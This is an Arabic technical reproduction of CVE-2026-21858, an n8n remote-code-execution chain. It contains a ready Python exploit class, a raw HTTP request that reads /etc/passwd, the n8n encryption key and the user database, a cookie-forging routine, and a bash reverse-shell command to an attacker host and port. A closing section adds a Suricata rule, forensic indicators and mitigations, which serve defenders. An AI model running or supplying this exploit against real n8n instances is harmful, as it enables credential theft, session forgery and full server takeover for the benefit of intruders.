
المراجعة التقنية وإعادة إنتاج CVE-2026-21858، وهي سلسلة تنفيذ أوامر عن بُعد (RCE) في n8n تستغل الالتباس في نوع المحتوى (Content-Type) لقراءة ملفات عشوائية، وتزوير الجلسات، وتنفيذ الأوامر.
= doi.org/10.5281/zenodo.18278825
= orcid.org/0009-0007-7728-256X
[تحليل إعادة البناء] CVE-2026-21858: Ni8mare - سلسلة استغلال كاملة لـ RCE في n8n
يستند هذا التدقيق التقني إلى نتائج Dor Attias من Cyera Research Labs (9 نوفمبر 2025) ويتضمن خطوات إعادة إنتاج جاهزة للاستخدام في بيئات مختبر REmnux/Kali Linux.
المعلومات الرئيسية: الهدف: إصدارات n8n >=1.65.0 إلى <1.121.0.
متجه الهجوم: الشبكة (HTTP/HTTPS).
التعقيد: منخفض.
التأثير: كامل (السرية، والنزاهة، والتوافر).
درجة EPSS: 0.97 (احتمالية استغلال عالية جدًا).
التدفق الطبيعي: يتم معالجة طلب multipart/form-data بواسطة parseFormData() (باستخدام محلل Formidable)، والذي يملأ بشكل صحيح كائن req.body.files.
الشرط القابل للاستغلال: إذا قدّم المهاجم طلبًا بترويسة Content-Type: application/json، يستدعي الوسيط parseBody(). يتم بعد ذلك تحليل JSON المُرسَل مباشرةً إلى req.body، مما يستبدل خاصية req.body.files بشكل قاتل دون أي تحقق إضافي.
الاستغلال: تستدعي دالة formWebhook -> prepareFormReturnItem() بشكل أعمى copyBinaryFile(req.body.files[0].filepath)، وتثق في مسار الملف المقدم في JSON، وبالتالي تنسخ ملفات محلية عشوائية إلى تخزين سير العمل القابل للوصول.
المتطلبات الأساسية: Docker و Docker Compose.
Python 3 مع مكتبات requests و pyjwt و cryptography.
Netcat (nc) أو Burp Suite لالتقاط الصدفة.
خطوات النشر: تشغيل المثيل القابل للاستغلال:
Bash
docker run -d
--name ni8mare-vuln
-p 5678:5678
-v n8n_data:/home/node/.n8n
n8nio/n8n:1.65.0
التهيئة الإدارية: الوصول إلى http://localhost:5678، وإنشاء حساب مسؤول (مثل: [email protected] / Password123!).
تكوين سير العمل: إنشاء سير عمل جديد يحتوي على عقدة "Form Trigger" تتضمن حقل "File Upload". قم بتفعيل سير العمل ولاحظ "Test URL".
حمولة طلب HTTP:
HTTP
POST /webhook-test/{workflow-id}/form-endpoint HTTP/1.1 Host: target:5678 Content-Type: application/json User-Agent: Mozilla/5.0
[{"filepath":"/etc/passwd","mimetype":"text/plain","filename":"fake.txt"}] الأهداف الاستراتيجية:
/home/node/.n8n/config: لسرقة N8N_ENCRYPTION_KEY.
/home/node/.n8n/database.sqlite: لاستخراج تجزئات بيانات اعتماد المستخدم.
المرحلة 2: تجاوز المصادقة (تزوير الجلسة) بمجرد الحصول على مفتاح التشفير وبيانات المستخدم، يمكن تزوير ملف تعريف الارتباط n8n-auth.
منطق تزوير الجلسة:
الحمولة: {"userId":1, "hash": sha256(email + password).slice(0,10)}.
التوقيع: يتم التوقيع باستخدام N8N_ENCRYPTION_KEY مع خوارزمية HS256.
النتيجة: يسمح ملف تعريف الارتباط المُنشأ بالوصول الإداري الكامل دون المرور بعملية تسجيل الدخول العادية.
المرحلة 3: تنفيذ الكود عن بُعد (RCE) كمسؤول (عبر ملف تعريف الارتباط المزور)، يمكننا أتمتة إنشاء سير عمل جديد يحتوي على عقدة "Execute Command".
حمولة الأمر: bash -c "bash -i >& /dev/tcp/{attacker_ip}/4444 0>&1"
Python
#!/usr/bin/env python3
import requests, json, hashlib, jwt, time
class Ni8mareExploit: def init(self, target, webhook_id): self.target = target.rstrip('/') self.webhook_url = f"{self.target}/webhook-test/{webhook_id}/form-endpoint" self.session = requests.Session()
def read_file(self, path, name):
"""Phase 1: Arbitrary File Read via Content-Type Confusion"""
print(f"[*] Attempting to read {path}...")
payload = [{"filepath": path, "mimetype": "text/plain", "filename": name}]
headers = {'Content-Type': 'application/json'}
r = self.session.post(self.webhook_url, json=payload, headers=headers)
return r.status_code == 200
def forge_session(self, email, password, key):
"""Phase 2: Cookie Forgery"""
hash_src = email + password
h = hashlib.sha256(hash_src.encode()).hexdigest()[:10]
payload = {'userId': 1, 'hash': h}
cookie = jwt.encode(payload, key, algorithm='HS256')
self.session.cookies.set('n8n-auth', cookie)
print(f"[+] Forged Cookie: n8n-auth={cookie}")
def trigger_rce(self, lhost, lport):
"""Phase 3: RCE via Workflow Automation"""
cmd = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
wf_payload = {
"name": "Ni8mare RCE",
"nodes": [{"parameters": {"command": cmd}, "type": "n8n-nodes-base.executeCommand"}],
"active": True
}
r = self.session.post(f"{self.target}/rest/workflows", json=wf_payload)
print("[!] RCE Workflow Deployed. Check your listener!")
مؤشرات الشبكة (IDS/IPS): توقيع Suricata: alert http $EXTERNAL_NET any -> $HOME_NET 5678 (msg:"Ni8mare Exploit Attempt"; content:"application/json"; content:"filepath"; sid:1000001;)
الشذوذ: طلبات POST بترويسة Content-Type: application/json مُرسلة إلى نقطة النهاية /webhook/*/form-endpoint.
التحليل الجنائي على مستوى المضيف: نظام الملفات: البحث عن ملفات نصية مشبوهة في دليل ~/.n8n/files/ تحتوي على بيانات نظام (مثل: /etc/passwd).
السجلات: تدقيق سجلات n8n بحثًا عن نشاط دالة prepareFormReturnItem دون بيانات multipart مصاحبة.
Docker Inspect: التحقق من أن إصدار الصورة أقل من 1.121.0.
الحل البديل: إذا لم يكن التصحيح ممكنًا، قم بتقييد الوصول إلى نقطة النهاية /webhook باستخدام جدار حماية تطبيقات الويب (WAF) لحظر طلبات JSON المشبوهة.
تقسيم الشبكة: عزل مثيلات n8n عن الشبكات الداخلية الحساسة لمنع الحركة الجانبية في حالة حدوث اختراق.
التنفيذ: T1059 (مفسر الأوامر والبرمجة النصية)
الثبات: T1098 (التلاعب بالحسابات عبر تزوير الجلسة)
سرقة البيانات: T1083 (اكتشاف الملفات والدلائل)
إخلاء المسؤولية: هذا التحليل مقدم حصريًا للأغراض التعليمية، وتدقيق الأمن، والدفاع السيبراني المهني تحت إشراف الأستاذ SASTRA_ADI_WIGUNA. أي إساءة استخدام لهذه المعلومات في أنشطة غير قانونية تقع بالكامل على مسؤولية المشغّل. التصحيح في بيئة الإنتاج إلزامي.